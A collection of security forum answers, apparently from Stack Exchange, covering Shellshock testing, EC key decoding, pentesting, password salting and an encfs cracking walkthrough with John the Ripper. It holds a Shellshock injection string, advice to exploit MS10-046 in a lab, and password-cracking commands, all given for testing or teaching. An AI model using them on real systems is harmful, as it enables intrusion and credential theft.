Why are common security measures on a webserver not enough on a large scale?

I consider things like "script injections awareness" and "firewall" and also "..." as far from simple. And don't forget the bugs, backdoors, critical information leaks etc  you regularly find in critical software or hardware like glibc, openssl, firewalls, VPN routers ... And of course there is way more than this if you have a complex infrastructure and applications from different sources
 which work together.

All these bugs in 3rd party software and hardware together with bugs in your own software make it possible to attack a server from several ways. If direct ways don't work against a host it can be done in an indirect way like attacking the router, firewall or the remote administrator. And once you passed the first protections you are often free to move around. Real security requires lots of knowledge and time, which in essence means lots of money. This includes monitoring log files, updating software but also keeping up to date with the newest information because often a problem is known by the hackers before an update even exists.


Install a vulnerable service for Windows 7

On the assumption that the Windows 7 machine doesn't need to be fully patched / updated - you could look at running a vanilla (no updates applied) copy of Windows 7 with User Account Control (UAC) disabled, and exploit MS10-046.

MS10-046 is a critical vulnerability which could allow a potential attacker to gain the same level of user-rights as the local user (where most average-joes use an account with Administrator privileges). The vulnerability affects both 32-bit and 64-bit versions of Windows 7.

The exploit relates to the handling of .LNK files which has the icon resource pointing to a malicious Dynamic Link Library (DLL) file.

Without explicitly knowing whether it needs to be a buffer overflow vulnerability - I'd say this should do the trick, or similarly you could use a distribution like Metasploitable which is intentionally left vulnerable.


Facebook page receiving improbable amount of likes from unknown users

There are definitely some bots out there, but it's entirely possible that it is real people who are clicking like. There are people who spend an inordinate about of time liking things on facebook, and it can have a viral effect. Some of them are new to FB and have poor English skills so they like everything everybody else likes for no good reason. It's what I call Like Pollution, where your demographic gets muddled by gratuitous likes.

It could also be that you are being targeted in a Like Pollution attack, that someone is deliberately attempting to make it seem as though you are artificially pumping up your like stats, thereby having the opposite effect on your popularity.

Either way as for what to do about it I'm afraid there's no easy answer. FB makes it easy to put stuff on their site but hard to take off. If it were me I'd learn the FB API and write some algorithms to remove likes automatically. It's a pain, but if you feel it is important that's your option.

As for algorithms I'd suggest that you implement some sort of thresholds. If a liker have more than 4 likes a week for more than 2 weeks then remove their like, if a liker has more than 100 likes a year remove their like, that sot of thing. You may end up wiping off legit wipes but you'll at least get rid of some of your like pollution.


Let's take your big integer, and convert it to binary, big-endian unsigned encoding (i.e. in Java, I call new BigInteger("...the big numer...").toByteArray() and I write that in a file, removing the leading 0x00 byte which toByteArray() added because it enforces signed encoding, and thus insists on a leading bit of value 0 if the value is positive). I get, indeed, a sequence of 1107 bytes which begins like this:

$ hd blob
00000000  30 82 04 4f 02 01 00 30  82 01 b9 06 07 2a 86 48  |0..O...0.....*.H|
00000010  ce 3d 02 01 30 82 01 ac  02 01 01 30 4d 06 07 2a  |.=..0......0M..*|
00000020  86 48 ce 3d 01 01 02 42  01 ff ff ff ff ff ff ff  |.H.=...B........|
00000030  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
*
00000060  ff ff ff ff ff ff ff ff  ff ff 30 81 88 04 42 01  |..........0...B.|
00000070  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
*
000000b0  fc 04 42 00 51 95 3e b9  61 8e 1c 9a 1f 92 9a 21  |..B.Q.>.a......!|
000000c0  a0 b6 85 40 ee a2 da 72  5b 99 b3 15 f3 b8 b4 89  |...@...r[.......|
000000d0  91 8e f1 09 e1 56 19 39  51 ec 7e 93 7b 16 52 c0  |.....V.9Q.~.{.R.|
000000e0  bd 3b b1 bf 07 35 73 df  88 3d 2c 34 f1 ef 45 1f  |.;...5s..=,4..E.|
000000f0  d4 6b 50 3f 00 04 81 85  04 00 c6 85 8e 06 b7 04  |.kP?............|
00000100  04 e9 cd 9e 3e cb 66 23  95 b4 42 9c 64 81 39 05  |....>.f#..B.d.9.|

The trained eye immediately recognizes the first bytes (30 82 04 4f 02 01 00...) as an encoded ASN.1 DER object (a SEQUENCE of length 0x44F, whose first element is an INTEGER of value 0). So that's not an integer at all ! Let's put it through OpenSSL:

$ openssl asn1parse -i -inform DER -in blob
    0:d=0  hl=4 l=1103 cons: SEQUENCE
    4:d=1  hl=2 l=   1 prim:  INTEGER           :00
    7:d=1  hl=4 l= 441 cons:  SEQUENCE
   11:d=2  hl=2 l=   7 prim:   OBJECT            :id-ecPublicKey
   20:d=2  hl=4 l= 428 cons:   SEQUENCE
   24:d=3  hl=2 l=   1 prim:    INTEGER           :01
   27:d=3  hl=2 l=  77 cons:    SEQUENCE
   29:d=4  hl=2 l=   7 prim:     OBJECT            :prime-field
   38:d=4  hl=2 l=  66 prim:     INTEGER           :01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  106:d=3  hl=3 l= 136 cons:    SEQUENCE
  109:d=4  hl=2 l=  66 prim:     OCTET STRING      [HEX DUMP]:01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC
  177:d=4  hl=2 l=  66 prim:     OCTET STRING      [HEX DUMP]:0051953EB9618E1C9A1F929A21A0B68540EEA2DA725B99B315F3B8B489918EF109E156193951EC7E937B1652C0BD3BB1BF073573DF883D2C34F1EF451FD46B503F00
  245:d=3  hl=3 l= 133 prim:    OCTET STRING      [HEX DUMP]:0400C6858E06B70404E9CD9E3ECB662395B4429C648139053FB521F828AF606B4D3DBAA14B5E77EFE75928FE1DC127A2FFA8DE3348B3C1856A429BF97E7E31C2E5BD66011839296A789A3BC0045C8A5FB42C7D1BD998F54449579B446817AFBD17273E662C97EE72995EF42640C550B9013FAD0761353C7086A272C24088BE94769FD16650
  381:d=3  hl=2 l=  66 prim:    INTEGER           :01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409
  449:d=3  hl=2 l=   1 prim:    INTEGER           :01
  452:d=1  hl=4 l= 651 prim:  OCTET STRING      [HEX DUMP]:30820287020101044201945<...>

Now this looks a lot like an elliptic curve public/private key pair, tagged as such (the id-ecPublicKey object identifier). This means PKCS#8. We notice the elements describing the curve, beginning with the base field size (which is p = 2521-1), then the a and b parameters for the curve equation Y2 = X3 + aX + b (a = p - 3, which gives a slight performance bonus over other values), then the encoding of the conventional base point G (the "generator"), which is a sequence of bytes beginning with 0x04 (uncompressed encoding: the leading byte is followed by the big-endian encodings of the X and Y coordinates of G). The INTEGER immediately afterwards is the curve order n. These parameters match the definition of the P-521 curve (see FIPS 186-3, page 90).

The final OCTET STRING contains the private key. Let's use OpenSSL again to convert this PKCS#8 object into the internal format which OpenSSL prefers:

$ openssl pkcs8 -inform DER -in blob -nocrypt -out key.pem

(the -nocrypt flag tells to expect a key which is not password-protected). The resulting key.pem file can be then inspected:

$ openssl ec -in key.pem -text -noout
read EC key
Private-Key: (521 bit)
priv:
    01:94:56:2e:83:db:2b:fc:26:ef:19:6a:7a:03:cd:
    68:63:2e:cd:2c:fd:43:45:ac:f7:e2:be:56:65:97:
    c7:72:93:97:3c:92:d7:96:55:af:98:f4:24:75:c9:
    2d:5b:15:4c:0a:cd:ef:30:91:47:97:52:5b:2d:c7:
    20:3e:f7:90:ec:36
pub:
    04:00:0b:05:86:60:82:b2:09:3f:2a:cc:1c:81:c6:
    14:3c:44:25:b3:02:09:de:03:0a:47:e3:1c:02:5c:
    7a:38:7f:33:8f:04:39:b4:5a:68:69:0a:e0:2c:c5:
    3e:08:13:0c:53:bd:02:a3:02:cf:29:4f:9e:93:44:
    a1:dd:39:15:00:e3:6c:01:1f:fb:38:27:37:23:33:
    60:d6:69:4c:ea:aa:6e:0b:35:6e:40:66:02:0b:42:
    6d:d6:bc:39:f6:0e:b9:36:ce:9b:2e:bf:00:40:6b:
    16:b1:18:1e:ee:c0:25:fd:c4:b7:2d:5c:5f:40:63:
    e2:b7:e1:be:d8:2c:e7:fe:82:2e:a4:f9:0b
Field Type: prime-field
Prime:
    01:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff<...>

so here are your private and public keys, followed by (again) the curve definition parameters.

An elliptic curve private key is an integer in the 1..n-1 range, where n is the order of the conventional base point. Normally, n is a prime integer (the curve has been selected for that). In the case of the standard NIST curves on prime fields, the base point generates whole curve, which has prime order, and n is close to p (indeed, |p+1-n| <= 2*sqrt(p) by Hasse's theorem). So the private key will be, in the case of P-521, an integer of at most 521 bits, potentially at bit smaller (but very rarely much smaller).


Understanding Microsoft list of disallowed certificates

How does this relate to the revoked certificates?

these are MD5 hashes (thumbprints) of explicitly untrusted certificates.

  neither crt.sh nor censys.io were able to find them

and there are two reasons:

(main) they never were added to CT logs, because they were revoked long prior to when CT was adopted by CAB Forum.
CT logs use SHA-1 or SHA-256 hashes and don't store calculated MD5 hashes. You may need to traverse over entire CT Log tree and calculate MD5 for each certificate and determine if it matches the value in CTL.

  Do you have any information what the input to the hash function is to get these values?

raw binary certificate.


What kind of math is possible in a SmartCard?

A smart card is a general computing device that is Turing complete; basically it is a system-on-a-chip (SoC) with a limited amount of inputs / output. So in principle you can calculate anything with a smart card.

BigInteger (bignum) arithmetic however is tricky on such small processors. Many smart cards are 16 or even 8 bit computing devices (although 32-bit ARM is making some inroads even there). This is problematic for large number calculations such as multiplication and division. Addition can be easily implemented on any CPU of course - it is very easy to extend 8 or 16 bit additions to an N bit addition for any large N.

For this reason, many smart cards contain a coprocessor that contains a Montgomery multiplier, which is mainly used to perform asymmetric cryptography such as RSA and ECC (Elliptic Curve) calculations. The availability of this coprocessor for general purpose calculations depends on the operating system. Java Card for instance contains an optional bignum interface, but this interface is not often implemented.

With these kind of calculations it is likely that you need low level access to the coprocessor. If you want to keep A and B secret then you also need to keep side channel analysis - DPA and sharks with lasers: LFI) in mind, so if you want to perform the calculations yourself you're in danger.

The inputs and outputs can be performed using the normal APDU interface, which is the default for almost any smart card. You may need extended length or chained APDU's though, if your input or output values are large enough (255 bytes is the default maximum input, 256 bytes the default maximum output).

How you program the smart card depends on the operating system on the smart card. Java Card + Global Platform is the default for most manufacturer independent applications, but it has a relatively high level API (often extended with proprietary API's).


Are URLs viewed during HTTPS/2 transactions to one or more websites from a single IP distinguishable?

You question acknowledges  that TLS itself protects the real content of the HTTP request (and thus the full URL) and response using encryption. But you also correctly assume that meta data like flow analysis can be used to heuristically reveal the accessed URL in case the attacker can access the same URL to get the same content. Thus the question is only relevant for URL's which are used to access public available (or at least attacker available) content.

HTTP allows in this case flow analysis to narrow down the accessed URL. This means an attacker can scan a site and build a model which includes the size of the request and the size of the response or the inter packet arrival times for each URL. Based on these information the attacker can in many cases heuristically detect which of the (known) URL's on a site the victim is accessing.

With HTTP/2 this gets harder because contrary to HTTP/1.x the requests are not handled sequentially inside the TCP/TLS connection but in parallel. Still I think it is still possible to build a model of the flow pattern which happens when accessing a specific URL. But it might be harder to build such a model since now it is not only needed to get the pattern for a specific URL but instead to get the pattern when a specific URL gets accessed and all the resources gets loaded - and this for various variations of which resources where already cached and which not. Still, I think this is only more work but not a qualitatively harder problem.


Going by what you originally posted about SSH, there is no evidence there that your server is compromised. It would be quite a round-the-houses way of breaking SSH for an attacker to resort to a default configuration.

This is simply a warning message that your sshd or ssh might be misconfigured. RKHunter could not find a configuration value for the Protocol key, and is simply warning you that the default might not be great for security.

You should edit your sshd_config and ssh_config files and add a Protocol 2 line to avoid getting this warning in the future by explicitly disabling protocol 1.

So you have evidence that your SSH config file has altered. This is almost certainly the result of an update, if someone has run an apt-get upgrade and then said yes when asked about a config overwrite, this can happen.

You should check the rest of your sshd_config however just to make sure that everything is as it should be, particularly disallowing root login. Also check /etc/passwd to see if any new users have been created, and /etc/sudo for the same reasons.

If your server does turn out to be compromised, this is unlikely to be related to the warning about SSH.


I assume what you mean by "live forensics" would be what the infosec community usually refers as memory forensics, eg. taking your machine while it is active and unlocked and proceeding to dump all data from it.

The solution to your problem would be twofold:

First you need to have good physical security, so that attackers can't access your unlocked computer.
Secondly you would need to make sure that attackers can't get access to your machine remotely too. SELinux might be helpful here.

So to TL;DR it for you:

"Live forensics" requires a live system (duh). If someone has access to your live system you have already lost.

If you really worry about government agencies then you should start by educating yourself about your local laws and your (local) personal rights (as rights appear to be quite non-consistent across the globe) and make an effort to stay within their bounds.


Is my bash vulnerable?

This simple command is a sufficient test to see if your version of bash is vulnerable:

x='() { :;}; echo VULNERABLE' bash -c :

It's not necessary to have extra text printed to signify that the command has actually run, because patched versions of bash will report a warning when a variable in its starting environment contains exploit code for the patched vulnerability.

On a vulnerable system:

$ x='() { :;}; echo VULNERABLE' bash -c :
VULNERABLE

On a patched system:

$ x='() { :;}; echo VULNERABLE' bash -c :
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'

For a detailed explanation of what this does and does not test for, and why, see "Other Function Parsing Bugs" below.

Is my system vulnerable?

If your bash isn't vulnerable then your system isn't vulnerable.

If your bash is vulnerable, then your system is vulnerable inasmuch as it uses bash along attack vectors such as CGI scripts, DHCP clients and restricted SSH accounts. Check whether /bin/sh is bash or some other shell. The vulnerability is in a bash-specific feature and other shells such as dash and ksh are not affected. You can test the default shell by running the same test as above with sh instead of bash:

x='() { :;}; echo VULNERABLE' sh -c :

If you see an error message, then your system has a patched bash and isn't vulnerable.
If you see VULNERABLE, then your system's default shell is bash and all attack vectors are a concern.
If you see no output, then your system's default shell is not bash, and only parts of your system that use bash are vulnerable. Check for:

Scripts executed by bash (starting with #!/bin/bash, not #!/bin/sh) from CGI or by a DHCP client.
Restricted SSH accounts whose shell is bash.

How This Test Works

It runs the command bash -c : with the literal text () { :;}; echo VULNERABLE set as the value of the environment variable x.

The : builtin performs no action; it's used here where a non-empty command is required.
bash -c : creates an instance of bash that runs : and exits.

Even this is sufficient to allow the vulnerability to be triggered. Even though bash is being invoked to run only one command (and that command is a no-op), it still reads its environment and interprets each variable whose contents start with () { as a function (at least those whose names are valid function names) and runs it so the function will be defined.

The intent behind this behavior of bash is to run only a function definition, which makes a function available for use but doesn't actually run the code inside it.
() { :;} is the definition for a function that performs no action when called. A space is required after { so that { is parsed as a separate token. A ; or newline is required before } for it to be accepted as correct syntax.

See 3.3 Shell Functions in the Bash Reference Manual for more information on the syntax for defining shell functions in bash. But note that the syntax used (and recognized) by bash as a valid exported shell function whose definition it should run is more restrictive:

It must start with the exact string () {, with exactly one space between ) and {.
And while shell functions occasionally have their compound statement enclosed in ( ) instead of { }, they are still exported inside { } syntax. Variables whose contents start with () ( instead of () { will not test for or otherwise trigger the vulnerability.

bash should stop executing code after the closing }. But (unless patched) it doesn't! This is the wrong behavior that constitutes CVE-2014-6271 ("Shellshock").

; ends the statement that defines the function, allowing subsequent text to be read and run as a separate command. And the text after ; doesn't have to be another function definition--it can be anything at all.
In this test, the command after ; is echo VULNERABLE. The leading space before echo does nothing and is present just for readability. The echo command writes text to standard output. The full behavior of echo is actually somewhat complicated, but that's unimportant here: echo VULNERABLE is simple. It displays the text VULNERABLE.

Since echo VULNERABLE is only run if bash is unpatched and running code after function definitions in environment variables, this (and many other tests similar to it) is an effective test of whether or not the installed bash is vulnerable to CVE-2014-6271.

Other Function Parsing Bugs (and why that test and those like it don't check for them)

The patch that has been released as of this writing, and the commands described and explained above for checking vulnerability, apply to the very severe bug known as CVE-2014-6271. Neither this patch nor the commands described above for checking vulnerability apply to the related bug CVE-2014-7169 (nor should they be assumed to apply to any other bugs that may not yet have been discovered or disclosed).

The bug CVE-2014-6271 arose from a combination of two problems:

bash accepts function definitions in arbitrary environment variables, and
while doing so, bash continues running any code that exists after the closing brace (}) of a function definition.

As of this writing, the existing fix for CVE-2014-6271 that has been released (and rolled out by many downstream vendors)--that is, the fix you'd get by updating your system or by applying the existing patch manually--is a fix for 2.

But in the presence of other mistakes in bash's code, 1 is potentially a source of many additional parsing bugs. And we know at least one other such bug exists--specifically, CVE-2014-7169.

The command presented in this answer tests for whether or not an installed bash is patched with the existing (i.e., first official) fix for CVE-2014-6271. It tests vulnerability to that specific parsing bug: "GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables[...]"

That specific bug is extremely severe--and the available patch does fix it--while CVE-2014-7169 appears to be less severe but is definitely still cause for concern.

As Stéphane Chazelas (discoverer of the Shellshock bug) has recently explained in an answer to When was the shellshock (CVE-2014-6271) bug introduced, and what is the patch that fully fixes it? on Unix.SE:

  There is a patch that prevents bash from interpreting anything else
  than the function definition in there
  (https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00081.html),
  and that's the one that has been applied in all the security updates
  from the various Linux distributions.

  However, bash still interprets the code in there and any bug in the
  interpreter could be exploited. One such bug has already been
  found
  (CVE-2014-7169) though its impact is a lot smaller. So there will be
  another patch coming soon.

But if that's what the exploit looks like...

Some people, here and elsewhere, have asked why x='() { :;}; echo VULNERABLE' bash -c : printing VULNERABLE (or similar) should be considered alarming. And I've recently seen the misconception circulating that because you have to have interactive shell access already to type in that particular command and press enter, Shellshock must somehow not be a serious vulnerability.

Although some of the sentiments I've heard expressed--that we should not rush to panic, that desktop users behind NAT routers shouldn't put their lives on hold to build bash from source code--are quite correct, confusing the vulnerability itself with the ability to test for it by running some specific command (such as the command presented here) is a serious mistake.

The command given in this post is an answer to the question, "Is there a short command to test if my server is secure against the shellshock bash bug?" It is not an answer to "What does shellshock look like when it's used against me by a real attacker?" and it is not an answer to the question, "What does someone have to do to successfully exploit this bug?" (And it is also not an answer to, "Is there a simple command to infer from all technical and social factors if I'm personally at high risk?")

That command is a test, to see if bash will execute code written, in a particular way, in arbitrary environment variables. The Shellshock vulnerability is not x='() { :;}; echo VULNERABLE' bash -c :. Instead, that command (and others like it) is a diagnostic to help determine if one is affected by Shellshock.

Shellshock has wide ranging consequences, though it is true that the risk is almost certainly less for desktop users who are not running remotely accessible network servers. (How much less is something I don't think we know at this point.)
In contrast, the command x='() { :;}; echo VULNERABLE' bash -c : is entirely inconsequential except insofar as it is useful for testing for Shellshock (specifically, for CVE-2014-6271).

For those who are interested, here are a few resources with information on why this bug is considered severe and why environment variables, particularly on network servers, may contain untrusted data capable of exploiting the bug and causing harm:

Re: CVE-2014-6271: remote code execution through bash
(Florian Weimer, Wed, 24 Sep 2014 17:03:19 +0200)
Bash Code Injection Vulnerability via Specially Crafted Environment Variables (CVE-2014-6271, CVE-2014-7169)
What is a specific example of how the Shellshock Bash bug could be exploited?
Attack scenarios of the new Bash vulnerability
CVE-2014-6271 Bash Vulnerability example
kasperd's answer to What does env x='() { :;}; command' bash do and why is it insecure?
What is the severity of the new bash exploit (shellshock)?

To further illustrate the conceptual distinction here, consider two hypotheticals:

Imagine if instead of suggesting x='() { :;}; echo VULNERABLE' bash -c : as the test, I had suggested bash --version as the test. (That would actually not be particularly appropriate, because OS vendors frequently backport security patches to older versions of software. The version information a program gives you can, on some systems, make it look like the program would be vulnerable, when actually it has been patched.)

If testing by running bash --version were being suggested, no one would say, "But attackers can't sit at my computer and type bash --version, so I must be fine!" This is the distinction between a test and the problem being tested for.
Imagine if an advisory were issued suggesting that your car might have some safety problem, such as airbag failure or bursting into flames in a collision, and that factory demonstrations had been streamed. No one would say, "But I would never accidentally drive or tow my car 900 miles to the factory and have it loaded with an expensive crash dummy and slammed into a concrete wall. So I must be fine!" This is the distinction between a test and the problem being tested for.


My friend hashes passwords with SHA512 algorithm without salt. How do I convince him that he needs to add salt?

How about you take his challenge? Go make a quick rainbow table of common passwords and run it over his database.  You're bound to hit something (especially if he doesn't have a password policy).  However, this may not work if he has a small database.


How can I ensure that only the message I sent, and nothing else reaches the receiver?

Use TLS.

Create a TLS connection between you and the server and verify no MITM has occurred (check certs, fingerprints, etc).

No third party will be able to inject any payload as they will not be able to encrypt/decrypt within your TLS connection.


Storing of customer creds from third party server with reading access to it

You're trying to figure out how to securely store secret values, yet use them in your application, and the answer, generally, is to use some sort of secrets management system.

I really like Turtles All The Way Down because it does a good job of explaining the core problem with secrets management (you have to authenticate to the system, and where do you store that password?), as well as giving an overview of the most prominent current software solutions. It's a bit of a long talk, but it's worth watching.

Personally, I like Vault a lot to handle these sorts of situations. In a nutshell, the users' passwords get stored in an encrypted datastore; your sysadmins and application can access those passwords by making an API call to Vault. These API calls are logged for later audit purposes, and are authenticated through a session-like system, where you provide a password (for example; there are a number of auth options) and get back a token that gets stored for normal use, but which will periodically expire and can be explicitly revoked. This prevents an attacker who gains access to the token from gaining permanent access, and does the same for employees when they leave the company. This is roughly how other network-based vault systems, like Keywhiz, work as well.

There's a really important caveat to the last part of the previous paragraph: an attacker can use the token to access all users' stored passwords, and then continue to use those whether or not the stolen token expires. This attack comes about because you're storing static credentials (passwords). If instead you had to request temporary credentials from the third-party sites, then you could return those instead to your internal users, which keeps them from gaining permanent access without permanent access to Vault. Vault has support for a number of systems for doing this, but you're limited here to what the other sites support.


What is this attacker trying to accomplish?

It looks like some kind of negative SEO technique, but I don't think it has been proven that it can really impact your ranking.

See:

301 Redirect for negative SEO. This is a problem
PROBLEMS WITH REDIRECT CHAINS
Thousands of 301 redirects bad for SEO?


Can information security risks essentially only be triaged according to the CIA triangle?

There are lots of other possibilities.
Note that the CIA triad is not so much a model for security risks as it is for security goals/objectives. It has often been criticized for being overly simplistic and incomplete. Consequently, there are lots of alternative models and extensions of the CIA triad. One popular option is the Parkerian hexad that consists of confidentiality, possession, integrity, authenticity, availability and utility. Others have suggested extending it with authenticity and non-repudiation to the CIAAN model.

If your primary goal is threat risk modeling, there are other models to consider - which can still be associated with the CIA triad. For example, there is the STRIDE model which classifies threats via the categories spoofing, tampering, repudiation, information disclosure, denial of service and elevation of privilege. Here is how it relates to CIA:

STRIDE is what an attacker can do. TID is the attack version of CIA:

Defenders want Confidentiality – attackers use Information Disclosure
Defenders want Integrity – attackers use Tampering
Defenders want Availability – attackers use Denial of Service.

But, what about Spoofing, Repudiation and Elevation of Privilege? Enter the (modern) non-linear attack:

Spoofing and Elevation of Privilege are the entry points to pry open the doors.
Repudiation is covering the adversary’s tracks during the initial compromise and the breach.

(Source)


"Transferring" SSL certificate to another person

Just let them buy a new one.

You may be thinking of a process like in DNS ownership transfer. But there is no such thing for certificates.

Anyone who can answer an email for admin@example.com will get a certificate for example.com.  It's as simple as that.


Cryptographic hash function vs. non-cryptographic hash function examples and compare

An example of a cryptographic hash function is SHA256. An example of a non-cryptographic hash function is CRC32.

A cryptographic hash could be used, for example, for a cryptographically strong Message Authentication Code (MAC, or, in practice, as a component of HMAC for key-based integrity) or as a component in an authentication encryption (AE or AEAD) scheme. Here, the meaning of "cryptographically strong" is that the hash function satisfies certain properties such as, for example, the hash value (the output of the hash function) doesn't have any collisions that, for example, could be exploited by an attacker. For more information, the book "Introduction to Modern Cryptography" by Katz and Lindell discusses properties of cryptographic hash functions.

A non-cryptographic hash could be used, for example, as a checksum for a small amount of data if you are not worried about an attacker trying to modify it. E.g., some data stored in an EEPROM only accessed by other trusted components on a circuitboard.


"muieblackcat" is a vulnerability scanner which searches for misconfigured webservers. It tried different common install paths for phpMyAdmin, all of them returned a 404, meaning you're safe.

The last log entry comes from Apache, which sometimes polls its own child processes to check if they're still working correctly.

The first and the second entry log seem like normal traffic to me.


Which PHP encryption method is most incidentally-secure?

The new password_hash introduced in PHP 5.5.0 creates a very strong one way hashing algorithm. All information that's needed to verify the hash is included in it.

I tried running a loop for 5000 times, and every hash for a single password was a unique hash. To create a password hash you can simply use :

$password = '170991';
$hash = password_hash($password, PASSWORD_DEFAULT);

To verify the password, we can simply use:

password_verify($password, $hash);


Short:

Is exploit researching different from penetration testing? Yes.

Is exploit researching part of pentesting? Usually not.

Good summary of what penetration testing is is here: Wikipedia definition of penetration testing.

Simple penetration testing

A lot of penetration testing work is actually just running pre-existing, well-known attacks or exploits. (Like e.g. run MetaSploit.) This work is based on some modeling of where the relevant problems may lie. But does not actually involve exploit researching or reverse engineering.

Going deeper

However, going deeper to penetration testing, it is not sufficient to use tools which are completely off-the-shelf. On this stage, people:

Consider the target system (its operations, and its possible weaknesses) in detail
Create attacks based on the target system

The analysis of target system is usually on level of examining its high-level design, components (like web servers, frameworks, communication protocols etc.).
This analysis can of course go as deep as reverse engineering or source code review, but often already higher level details are good enough to sufficiently nail it down how to attack against the system.

More elaborate description of usual stages relevant for penetration testing can be found in this previous answer What is the difference between a penetration test and a vulnerability assessment?

Why not reverse engineering or exploit researching

The reason reverse engineering and exploit researching is rarely important part of pentesting is that pentesting is being made for the owner of the system. Therefore, the attacker is already given much better tools than exploit researchers typically have: the system is usually revealed to them in detail to allow them to do their work efficiently. (In other words, they are allowed to short-circuit much of exploit research.)

Python and scripting

The reason scripting is important in penetration testing is that penetration testing usually involves large numbers of very similar test cases. To make those small variations efficiently, scripting is typically used.

For example, Metasploit which is common tool to use on this field can be scripted using python.

In addition to python, some other scripting languages, like Ruby and perl are used.

  I mean if you can reverse one program probably you will be able to find a vulnerability, but for this you need to be good with C and Assembly.

In case of well written software I would disagree. Even if you have access to original source code of the software, typically it is hard to find vulnerabilities.

If you have only access to the binary, it is even harder, as you effectively need to decompile the software, and lot of knowledge has disappeared and the code is no longer in easy to read format. Modern software is large enough that it is very hard to concentrate on important parts of the binary and dig essential vulnerabilities from it.


No, there is not a direct HSTS equivalent for DNSSEC. Most clients unfortunately don't support DNSSEC, and therefore couldn't care less about your server's RRSIG record. However, clients that do support DNSSEC will always validate your server's records (Assuming you have a valid DS record for your domain setup with your registrar). So, there is no need for a HSTS equivalent for DNSSEC, as DNSSEC clients won't ever not validate domains.


Yes - definitely change your passwords. It is a low effort way to fix a lot of potential problems!

It used to be that laptops would be wiped if they had a password on, but the tools to glean data off them are so commonplace/simple now, most attackers will try and see what is on there - as they can make a fair bit of money from account details held on laptops.

Don't assume no passwords are saved - more is saved than you think, as browsers and operating systems try to be helpful.


Create encfs directory (optional, added to create an initial test setup)

 TMPDIR=$(mktemp -d)
 cd ${TMPDIR}
 mkdir ${TMPDIR}/encrypted
 mkdir ${TMPDIR}/mount_point
 encfs ${TMPDIR}/encrypted ${TMPDIR}/mount_point

As an example, let's set the password to "correcthorsebatterystaple".

You should now have the following files:

$ find
.
./encrypted
./encrypted/.encfs6.xml
./mount_point

And you should be able to mount the directory as follows:

encfs ${TMPDIR}/encrypted ${TMPDIR}/mount_point

(There might be permission errors because it is in /tmp. Just ignore that, as it is not necessary for the cracking itself.)

Install "John the ripper" and "crunch"

Get the latest John the ripper from:

https://www.openwall.com/john/
or https://github.com/magnumripper/JohnTheRipper

Let's assume you installed it in a directory referred to by ${JOHN}.
Install "crunch" to generate wordlists:

sudo apt install crunch

Crack the password

Create the hash file for John the ripper:

${JOHN}/encfs2john.py ${TMPDIR}/encrypted/ > ${TMPDIR}/encfs6.xml.john
Start cracking:

Using a generated wordlist:

Create a wordlist using crunch:

crunch 2 4 -o wordlist.txt -p staple battery horse correct

This generates a file wordlist.txt containing all possible orderings of the passed words:

batterycorrecthorsestaple
batterycorrectstaplehorse
batteryhorsecorrectstaple
...
staplecorrecthorsebattery
staplehorsebatterycorrect
staplehorsecorrectbattery

See here for a better more extensive way of doing it: Passwordlist generation, permutations and long passwords
Run John the ripper using the wordlist:

Command:

${JOHN}/john --wordlist=wordlist.txt --progress-every=3 --pot=cracked_passwords.pot ${TMPDIR}/encfs6.xml.john

Output:

Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 128/128 SSE4.1 4x AES/Blowfish])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2020-02-13 21:51) 0g/s 0p/s 0c/s 0C/s
correcthorsebatterystaple (/tmp/tmp.ZGtxLjHUQi/encrypted/)
1g 0:00:00:01 DONE (2020-02-13 21:51) 0.8695g/s 20.86p/s 20.86c/s 20.86C/s batterycorrecthorsestaple..staplehorsecorrectbattery
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Using the "mask mode":

This mode allows you to specify a set of characters, a minimum and maximum length and a mask containing known password parts.
See here for more details: https://github.com/magnumripper/JohnTheRipper/blob/bleeding-jumbo/doc/MASK

Command:

${JOHN}/john --min-length=25 --max-length=25 -2='eolabpcrsthy' -mask='correct?2?2?2sebatterystaple' --progress-every=3 --pot=cracked_passwords.pot ${TMPDIR}/encfs6.xml.john

Output:

Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 128/128 SSE4.1 4x AES/Blowfish])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00  (25) 0g/s 0p/s 0c/s 0C/s
0g 0:00:00:02 3.70% (25) (ETA: 21:50:48) 0g/s 27.46p/s 27.46c/s 27.46C/s correctbpesebatterystaple..correctyresebatterystaple
0g 0:00:00:05 9.26% (25) (ETA: 21:50:48) 0g/s 28.57p/s 28.57c/s 28.57C/s correctboosebatterystaple..correctyaosebatterystaple
0g 0:00:00:09 14.81% (25) (ETA: 21:50:53) 0g/s 28.41p/s 28.41c/s 28.41C/s correctbtosebatterystaple..correctyyosebatterystaple
0g 0:00:00:11 18.52% (25) (ETA: 21:50:52) 0g/s 28.59p/s 28.59c/s 28.59C/s correctsllsebatterystaple..correctaplsebatterystaple
